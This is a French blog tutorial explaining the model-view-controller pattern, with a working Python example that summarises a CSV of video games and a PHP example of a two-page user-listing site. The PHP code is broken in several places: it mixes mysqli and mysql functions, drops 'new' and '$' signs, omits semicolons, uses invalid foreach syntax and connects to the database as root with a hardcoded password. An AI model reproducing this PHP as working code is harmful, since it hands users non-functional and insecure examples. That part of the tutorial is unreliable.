+<p>Le modèle manipule la donnée. Dans un site Web, le modèle est souvent le code qui permet de faire de requêtes à la base de données. Dans notre cas, c&#8217;est le code qui va manipuler le CSV. Encore une fois, il n&#8217;y a pas de définition divine de ce qu&#8217;est un modèle, ceci n&#8217;est qu&#8217;un exemple de ce que cela PEUT être. C&#8217;est le choix du dev.</p>
+<p><em>modele.py</em></p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">&nbsp;
+<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">__future__</span> <span style="color: #ff7700;font-weight:bold;">import</span> unicode_literals, absolute_import
+&nbsp;
+<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">csv</span> <span style="color: #ff7700;font-weight:bold;">import</span> DictReader
+<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">collections</span> <span style="color: #ff7700;font-weight:bold;">import</span> OrderedDict
+&nbsp;
+<span style="color: #ff7700;font-weight:bold;">class</span> Modele<span style="color: black;">&#40;</span><span style="color: #008000;">object</span><span style="color: black;">&#41;</span>:
+&nbsp;
+ <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, <span style="color: #dc143c;">csv</span><span style="color: black;">&#41;</span>:
+ <span style="color: #008000;">self</span>.<span style="color: black;">total_jeux</span> = <span style="color: #ff4500;">0</span>
+ <span style="color: #008000;">self</span>.<span style="color: black;">supports</span> = OrderedDict<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+ <span style="color: #ff7700;font-weight:bold;">with</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">csv</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">as</span> f:
+ <span style="color: #808080; font-style: italic;"># on parse le csv</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> data <span style="color: #ff7700;font-weight:bold;">in</span> DictReader<span style="color: black;">&#40;</span>f, delimiter=b<span style="color: #483d8b;">';'</span>, quotechar=b<span style="color: #483d8b;">'&quot;'</span><span style="color: black;">&#41;</span>:
+ <span style="color: #808080; font-style: italic;"># on calcule les stats pour que ligne du csv</span>
+ support = <span style="color: #008000;">self</span>.<span style="color: black;">supports</span>.<span style="color: black;">setdefault</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#91;</span><span style="color: #483d8b;">'Support'</span><span style="color: black;">&#93;</span>, <span style="color: black;">&#123;</span><span style="color: black;">&#125;</span><span style="color: black;">&#41;</span>
+ support<span style="color: black;">&#91;</span><span style="color: #483d8b;">'nombre_de_jeux'</span><span style="color: black;">&#93;</span> = support.<span style="color: black;">get</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'nombre_de_jeux'</span>, <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span> + <span style="color: #ff4500;">1</span>
+ <span style="color: #008000;">self</span>.<span style="color: black;">total_jeux</span> += <span style="color: #ff4500;">1</span>
+ <span style="color: #ff7700;font-weight:bold;">if</span> support.<span style="color: black;">get</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'joueurs_max'</span>, <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&lt;</span> data<span style="color: black;">&#91;</span><span style="color: #483d8b;">'Nombre de joueurs Max'</span><span style="color: black;">&#93;</span>:
+ support<span style="color: black;">&#91;</span><span style="color: #483d8b;">'joueurs_max'</span><span style="color: black;">&#93;</span> = data<span style="color: black;">&#91;</span><span style="color: #483d8b;">'Nombre de joueurs Max'</span><span style="color: black;">&#93;</span>
+&nbsp;
+ <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__iter__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
+ <span style="color: #808080; font-style: italic;"># goodies pour pouvoir itérer sur le modèle</span>
+ <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">self</span>.<span style="color: black;">supports</span>.<span style="color: black;">iteritems</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>
+
+<p>Ca s&#8217;utilise comme ça :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> modele = Modele<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Bureau/jeux.csv&quot;</span><span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> modele.<span style="color: black;">total_jeux</span>
+<span style="color: #ff4500;">4</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">for</span> support, data <span style="color: #ff7700;font-weight:bold;">in</span> modele:
+ <span style="color: #ff7700;font-weight:bold;">print</span> support
+ <span style="color: #ff7700;font-weight:bold;">print</span> data
+...
+<span style="color: black;">Super</span> Nintendo
+<span style="color: black;">&#123;</span>u<span style="color: #483d8b;">'nombre_de_jeux'</span>: <span style="color: #ff4500;">2</span>, u<span style="color: #483d8b;">'joueurs_max'</span>: <span style="color: #483d8b;">'8'</span><span style="color: black;">&#125;</span>
+Nintendo <span style="color: #ff4500;">64</span>
+<span style="color: black;">&#123;</span>u<span style="color: #483d8b;">'nombre_de_jeux'</span>: <span style="color: #ff4500;">1</span>, u<span style="color: #483d8b;">'joueurs_max'</span>: <span style="color: #483d8b;">'4'</span><span style="color: black;">&#125;</span>
+PC
+<span style="color: black;">&#123;</span>u<span style="color: #483d8b;">'nombre_de_jeux'</span>: <span style="color: #ff4500;">1</span>, u<span style="color: #483d8b;">'joueurs_max'</span>: <span style="color: #483d8b;">'8'</span><span style="color: black;">&#125;</span></pre></div></div>
+
+<p>On voit ici le principe : le modèle ne fait que manipuler la donnée, et rien d&#8217;autre. Il extrait, regroupe, calcule, raffine, et donne une belle interface propre pour que le reste du programme puisse utiliser le résultat sans avoir à connaitre les détails du traitement.</p>
+<h3>La vue</h3>
+<p>La vue, c&#8217;est de la présentation. C&#8217;est comment on veut que la donnée soit présentée à l&#8217;utilisateur. Ça peut être le code qui pond du HTML ou produit un CSV, ou fait configurer de jolis boutons dans une UI.</p>
+<p>Dans notre cas, c&#8217;est le code qui va formater le texte pour la console.</p>
+<p>On veut un truc comme ça :</p>
+<pre>
+Nombre de jeux analysés : 10
+
+Détails
+--------
+
+Support: Super Nintendo
+Nombre de jeux : 2
+Nombre de joueurs max : 8
+
+Support: Nintendo 64
+Nombre de jeux : 1
+Nombre de joueurs max : 4</pre>
+<p>Normalement, on voudrait un template. Mais on a pas de langage de template qui accepte les boucles dans la lib standard, alors on va faire comme la norme WSGI et retourner un générateur de strings.</p>
+<p><em>vue.py</em></p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">__future__</span> <span style="color: #ff7700;font-weight:bold;">import</span> unicode_literals, absolute_import
+&nbsp;
+<span style="color: #ff7700;font-weight:bold;">def</span> rapport<span style="color: black;">&#40;</span>modele<span style="color: black;">&#41;</span>:
+ <span style="color: #808080; font-style: italic;"># affichage de l'en-tête</span>
+ <span style="color: #ff7700;font-weight:bold;">yield</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Nombre de jeux analysés : {total_jeux}<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
+ <span style="color: #483d8b;">&quot;Détails<span style="color: #000099; font-weight: bold;">\n</span>--------<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">format</span><span style="color: black;">&#40;</span>total_jeux=modele.<span style="color: black;">total_jeux</span><span style="color: black;">&#41;</span>
+&nbsp;
+ <span style="color: #808080; font-style: italic;"># affichage des stats pour chaque console</span>
+ <span style="color: #ff7700;font-weight:bold;">for</span> support, data <span style="color: #ff7700;font-weight:bold;">in</span> modele:
+ <span style="color: #ff7700;font-weight:bold;">yield</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Support: {support}<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
+ <span style="color: #483d8b;">&quot;Nombre de jeux : {nombre_de_jeux}<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
+ <span style="color: #483d8b;">&quot;Nombre de joueurs max : {joueurs_max}<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">format</span><span style="color: black;">&#40;</span>
+ support=support, <span style="color: #66cc66;">**</span>data<span style="color: black;">&#41;</span></pre></div></div>
+
+<p>Et ça s&#8217;utilise comme ça :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> m = Modele<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Bureau/jeux.csv&quot;</span><span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #008000;">list</span><span style="color: black;">&#40;</span>rapport<span style="color: black;">&#40;</span>m<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
+<span style="color: black;">&#91;</span>u<span style="color: #483d8b;">'Nombre de jeux analys<span style="color: #000099; font-weight: bold;">\x</span>e9s : 4<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>D<span style="color: #000099; font-weight: bold;">\x</span>e9tails<span style="color: #000099; font-weight: bold;">\n</span>--------<span style="color: #000099; font-weight: bold;">\n</span>'</span>, u<span style="color: #483d8b;">'Support: Super Nintendo<span style="color: #000099; font-weight: bold;">\n</span>Nombre de jeux : 2<span style="color: #000099; font-weight: bold;">\n</span>Nombre de joueurs max : 8<span style="color: #000099; font-weight: bold;">\n</span>'</span>, u<span style="color: #483d8b;">'Support: Nintendo 64<span style="color: #000099; font-weight: bold;">\n</span>Nombre de jeux : 1<span style="color: #000099; font-weight: bold;">\n</span>Nombre de joueurs max : 4<span style="color: #000099; font-weight: bold;">\n</span>'</span>, u<span style="color: #483d8b;">'Support: PC<span style="color: #000099; font-weight: bold;">\n</span>Nombre de jeux : 1<span style="color: #000099; font-weight: bold;">\n</span>Nombre de joueurs max : 8<span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#93;</span></pre></div></div>
+
+<p>Encore une fois, ceci n&#8217;est pas LA manière de faire une vue. Ceci est UNE manière de faire une vue. Le but de la vue est de contenir le code qui se charge de formater la donnée pour l&#8217;utilisateur. </p>
+<p>Il est plus courant d&#8217;utiliser un template pour cela, c&#8217;est à dire une sorte lib de texte à trou à remplir plus tard avec le modèle. C&#8217;est plus facile et flexible qu&#8217;une fonction. Il y a des tas de <a href="https://wiki.python.org/moin/Templating">libs de templates en Python</a>. Je ferai sans doute un article dessus un jour. Si vous voulez un truc simple et rapide, utilisez <a href="http://www.joonis.de/en/code/templite">templite</a> : rien besoin d&#8217;installer, ça tient dans un fichier. Si vous voulez le truc le plus standard possible, utiliser <a href="http://jinja.pocoo.org/docs/">jinja2</a>, c&#8217;est plus ou moins la lib la plus connue actuellement.</p>
+<h3>Le contrôleur</h3>
+<p>Le contrôleur, c&#8217;est tout le reste. Essayer de définir le contrôleur est généralement voué à l&#8217;échec, tant sa nature change d&#8217;une application à l&#8217;autre. Certains disent que c&#8217;est le code glue qui permet de lier le modèle et la vue. D&#8217;autres qu&#8217;il contient la logique de flux du programme. Personnellement, je vous invite à vous fier à la définition &#8220;c&#8217;est tout le reste&#8221;. Avec l&#8217;expérience, vous en viendrez à faire des modèles et des vues de plus en plus adaptées, et la partie contrôleur découlera d&#8217;elle-même.</p>
+<p>De toute façon, aucun MVC n&#8217;est parfait, et un peu de vue dégouline parfois sur le contrôleur, un peu de contrôleur coule dans le modèle, ou inversement. Il ne sert à rien d&#8217;être un nazi du MVC, c&#8217;est une bonne pratique, pas un dogme religieux.</p>
+<p>Dans notre cas le programme a besoin d&#8217;un code qui :</p>
+<ul>
+<li>Importe notre vue et notre modèle.</li>
+<li>Prend en paramètre le fichier CSV via la ligne de commande.</li>
+<li>Mélange tout ça pour afficher le résultat dans la console.</li>
+</ul>
+<p>Le contrôleur est par ailleurs le point d&#8217;entrée d&#8217;un programme. Et ce sera essentiellement ça, le contrôleur de notre programme : un point d&#8217;entrée.</p>
+<p><em>controlleur.py</em></p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">__future__</span> <span style="color: #ff7700;font-weight:bold;">import</span> unicode_literals, absolute_import
+&nbsp;
+<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
+<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
+&nbsp;
+<span style="color: #ff7700;font-weight:bold;">from</span> vue <span style="color: #ff7700;font-weight:bold;">import</span> rapport
+<span style="color: #ff7700;font-weight:bold;">from</span> modele <span style="color: #ff7700;font-weight:bold;">import</span> Modele
+&nbsp;
+<span style="color: #808080; font-style: italic;"># on prend le csv en paramètre du script</span>
+<span style="color: #ff7700;font-weight:bold;">try</span>:
+ f = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
+<span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">IndexError</span>:
+ <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Veuillez passer le chemin d'un fichier CSV en paramètre.&quot;</span><span style="color: black;">&#41;</span>
+&nbsp;
+<span style="color: #808080; font-style: italic;"># on vérifie que le csv existe</span>
+<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">isfile</span><span style="color: black;">&#40;</span>f<span style="color: black;">&#41;</span>:
+ <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Le fichier '%s' n'existe pas&quot;</span> <span style="color: #66cc66;">%</span> f<span style="color: black;">&#41;</span>
+&nbsp;
+<span style="color: #808080; font-style: italic;"># on analyse le CSV et on affiche le rapport</span>
+<span style="color: #ff7700;font-weight:bold;">for</span> texte <span style="color: #ff7700;font-weight:bold;">in</span> rapport<span style="color: black;">&#40;</span>Modele<span style="color: black;">&#40;</span>f<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
+ <span style="color: #ff7700;font-weight:bold;">print</span> texte</pre></div></div>
+
+<h3>Résultat final</h3>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">$ python controlleur.<span style="color: black;">py</span> jeux.<span style="color: #dc143c;">csv</span>
+Nombre de jeux analysés : <span style="color: #ff4500;">4</span>
+&nbsp;
+Détails
+--------
+&nbsp;
+Support: Super Nintendo
+Nombre de jeux : <span style="color: #ff4500;">2</span>
+Nombre de joueurs <span style="color: #008000;">max</span> : <span style="color: #ff4500;">8</span>
+&nbsp;
+Support: Nintendo <span style="color: #ff4500;">64</span>
+Nombre de jeux : <span style="color: #ff4500;">1</span>
+Nombre de joueurs <span style="color: #008000;">max</span> : <span style="color: #ff4500;">4</span>
+&nbsp;
+Support: PC
+Nombre de jeux : <span style="color: #ff4500;">1</span>
+Nombre de joueurs <span style="color: #008000;">max</span> : <span style="color: #ff4500;">8</span></pre></div></div>
+
+<p>Vous pouvez <a href="https://github.com/sametmax/codes-des-articles/tree/master/2013/decembre">télécharger le code Python de cet article</a>.</p>
+<h2>Exemple en PHP</h2>
+<p>Le PHP a eu beaucoup de succès du fait de la facilité avec laquelle on pouvait coder un site Web, en mélangeant code et HTML. Malheureusement cela a donné lieu à des codes très sales, où on trouvait les requêtes SQL à côté de l&#8217;affichage d&#8217;un tableau, l&#8217;analyse des paramètres <code>$_GET</code> à deux pas de la vérification du mot de passe.</p>
+<p>MVC a été une réponse à cela.</p>
+<p>Un modèle MVC propre sera généralement très riche et complexe, mais il est possible de bricoler un site en MVC basique à la main sans trop de problème. Je ne vous recommande pas d&#8217;utiliser ce code en prod, mais c&#8217;est un bon début pour comprendre comment ça marche. Une fois que vous serez à l&#8217;aise avec l&#8217;idée, n&#8217;hésitez pas à coder le votre sur un petit projet, puis à tester un framework. <a href="http://symfony.com/">Symfony</a>, par exemple, est une valeur sûre en PHP.</p>
+<p>Admettons que notre site ait deux pages : <em>accueil</em> et <em>liste des utilisateurs</em>.</p>
+<p>L&#8217;accueil dit juste bonjour, la liste affiche tous les utilisateurs du site Web. Passionnant.</p>
+<h3>Le modèle</h3>
+<p>L&#8217;idée est de mettre toutes les requêtes SQL au même endroit.</p>
+<p>Les vieux routards du PHP m&#8217;excuseront, mais je n&#8217;ai plus codé dans ce langage depuis des années, donc mon style va dater un peu :-) Et honnêtement tous ces points-virgules, ces dollars et ces brackets dans tous les sens, sans compter la flèche comme caractère de look up, ça me perturbe grandement.</p>
+<p><em>modele.php</em></p>
+
+<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
+&nbsp;
+<span style="color: #000088;">$con</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysqli_connect</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;127.0.0.1&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'admin123'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'ma_db'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
+&nbsp;
+<span style="color: #000000; font-weight: bold;">class</span> User <span style="color: #009900;">&#123;</span>
+&nbsp;
+ <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
+ <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000088;">$age</span><span style="color: #339933;">;</span>
+&nbsp;
+ <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$age</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
+ <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
+ <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">age</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$age</span><span style="color: #339933;">;</span>
+ <span style="color: #009900;">&#125;</span>
+&nbsp;
+ static <span style="color: #000000; font-weight: bold;">function</span> liste<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
+&nbsp;
+ <span style="color: #000088;">$users</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
+&nbsp;
+ <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysqli_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$con</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'SELECT * FROM `user`'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
+&nbsp;
+ <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_assoc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
+ <span style="color: #009900;">&#123;</span>
+ <span style="color: #000088;">$users</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> User<span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
+ <span style="color: #009900;">&#125;</span>
+&nbsp;
+ <span style="color: #b1b100;">return</span> users<span style="color: #339933;">;</span>
+ <span style="color: #009900;">&#125;</span>
+&nbsp;
+<span style="color: #009900;">&#125;</span></pre></div></div>
+
+<p>Et ça s&#8217;utilise comme ça :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$users</span> <span style="color: #339933;">=</span> User<span style="color: #339933;">-&gt;</span><span style="color: #004000;">liste</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
+<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$users</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$user</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
+ <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$user</span><span style="color: #339933;">.</span>name <span style="color: #339933;">.</span> <span style="color: #0000ff;">'('</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$users</span><span style="color: #339933;">.</span>age<span style="color: #339933;">.</span> <span style="color: #0000ff;">'ans)'</span><span style="color: #339933;">;</span>
+<span style="color: #009900;">&#125;</span></pre></div></div>
+
+<p>Ce qui affiche tous les noms et les ages des utilisateurs.</p>
+<p>Bien, on a isolé l&#8217;accès aux données, maintenant on va isoler la mise en forme.</p>
+<h3>La vue</h3>
+<p>Ou plutôt, les vues, puisqu&#8217;on a deux pages, et donc deux vues.</p>
+<p>Vous ne le savez peut être pas, mais PHP vient avec une <a href="http://www.php.net/manual/fr/control-structures.alternative-syntax.php">syntaxe alternativ</a>e spécialement conçue pour être utilisée dans le HTML. Elle est similaire à la syntaxe originale, mais les blocs sont ouverts avec <code>:</code> au lieux de <code>{</code> et fermés par <code>endinstruction</code>. Les variables sont affichées avec <<code>?=$nom_de_variable?></code>.</p>
+<p>Par exemple:</p>
+
+<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #000088;">$truc</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
+ &lt;p&gt;
+ <span style="color: #000000; font-weight: bold;">&lt;?=</span><span style="color: #000088;">$machin</span><span style="color: #000000; font-weight: bold;">?&gt;</span>
+ &lt;/p&gt;
+<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>
+
+<p>Cette syntaxe permet de bien séparer le texte du code PHP, et donc sera utilisée pour la vue.</p>
+<p><em>accueil.php</em></p>
+
+<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>html<span style="color: #339933;">&gt;&lt;</span>body<span style="color: #339933;">&gt;&lt;</span>h1<span style="color: #339933;">&gt;</span>Bonjour<span style="color: #339933;">&lt;/</span>h1<span style="color: #339933;">&gt;&lt;/</span>body<span style="color: #339933;">&gt;&lt;/</span>html<span style="color: #339933;">&gt;</span></pre></div></div>
+
+<p><em>liste_utilisateurs.php</em></p>
+
+<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;html&gt;
+ &lt;body&gt;
+ &lt;h1&gt;Utilisateurs&lt;/h1&gt;
+&nbsp;
+ &lt;ul&gt;http://www.php.net/manual/fr/control-structures.alternative-syntax.php
+ <span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">foreach</span> <span style="color: #000088;">$users</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$user</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
+ &lt;li&gt;<span style="color: #000000; font-weight: bold;">&lt;?=</span><span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #000000; font-weight: bold;">?&gt;</span> (<span style="color: #000000; font-weight: bold;">&lt;?=</span><span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">age</span><span style="color: #000000; font-weight: bold;">?&gt;</span> ans)&lt;/li&gt;
+ <span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endforeach</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
+ &lt;/ul&gt;
+&nbsp;
+ &lt;/body&gt;
+&lt;/html&gt;</pre></div></div>
+
+<p>Et voilà, on a deux pages, et la deuxième affiche notre liste d'utilisateur. Vous remarquerez qu'il n'y a pas de requête ou de logique de choix de page, pas d'accès à <code>mysql_*</code> ou à <code>$_GET</code> dans ce code. Que de l'affichage.</p>
+<h3>Le contrôleur</h3>
+<p>Puisque le contrôleur, c'est le reste, ce sera à la fois notre point d'entrée, notre code glue et notre routing.</p>
+
+<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&nbsp;
+<span style="color: #000000; font-weight: bold;">&lt;?php</span>
+&nbsp;
+<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'liste'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
+ <span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'modele.php'</span>
+ <span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'liste_utilisateurs.php'</span>
+<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
+ <span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'accueil.php'</span>
+<span style="color: #009900;">&#125;</span></pre></div></div>
+
+<p>Et c'est tout.</p>
+<p>Si l'utilisateur va sur l'adresse <em>monsite.com/</em>, il va arriver sur l'accueil, si il va sur <em>monsite.com/?page=liste</em>, il va atterrir sur la liste des utilisateurs.</p>
+<p>Si on veut changer le look de la page, on modifie la vue. Si on veut changer de base de source de données (et lire par exemple depuis un fichier), on change le modèle. Si on veut rajouter des pages, on change le contrôleur. L'avantage de la séparation des responsabilités, c'est la facilité de lecture et donc de maintenance et d'évolution.</p>
+<p>J'insiste sur le fait que c'est un exemple pédagogique, et pas quelque chose à utiliser en prod (par exemple à cause des URLs très moches). Mais il va vous permettre de coder votre premier site en MVC, et plus tard, aller vers des versions plus sérieuses.</p>
+<p>L'important, c'est la séparation donnée / formatage / reste du code.</p>
+<h2>MVC dans la vraie vie vivante</h2>
+<p>Créer un modèle MVC à la main propre et efficace, c'est énormément de taff. C'est pour cela qu'on utilise des outils tout fait comme des frameworks Web ou des libs graphiques (Qt, wxWidget et Gtk ont toutes des outils MVC, ex : Qt possède <a href="http://en.wikipedia.org/wiki/QML">QML</a>, un dialecte type CSS pour manipuler des vues).</p>
+<p>Un modèle MVC simple, mais propre, est celui du micro-framework Web Python <a href="http://bottlepy.org">bottle</a>, dont Max vous avait parlé <a href="http://sametmax.com/creer-un-site-avec-bottle-en-5-minutes-parceque-7-cest-impossible-voyons/">ici</a>. Lisez l'article, et revenez à ce paragraphe, et vous comprendrez que :</p>
+<ul>
+<li>La vue, c'est le template.</li>
+<li>Le modèle n'est inclus dans bottle, il faut le faire à la main ou utiliser quelque chose comme un ORM (<a href="http://sametmax.com/sept-petites-libs-qui-changent-la-vie-dun-dev-python/">peewee</a> est très bien adapté).</li>
+<li>Le contrôleur, ce sont les fonctions qu'on trouve sous les décorateurs <code>@url</code>.</li>
+</ul>
+<p>Comme je l'ai dit précédemment, il y a de nombreuses manières de séparer le contenu de sa présentation.</p>
+<p>Django par exemple n'utilise pas un modèle MVC au sens traditionnel, mais plutôt du MVT (Modèle - Vue - Template). Ce qu'il appelle les vues sont en fait ce qu'on appelle le contrôleur dans bottle : les fonctions qui mélangent les données avec le template. Django propose par contre un ORM, qui est bel est bien un système de modèle très élaboré.</p>
+<p>C'est une question de sémantique, et au final, qu'importe le flacon, pourvu qu'on ait l'ivresse.</p>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=7440&amp;md5=ef13aa60b7ec25234daadd5374a73798" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/quest-de-que-mvc-et-a-quoi-ca-sert/feed/</wfw:commentRss>
+ <slash:comments>23</slash:comments>
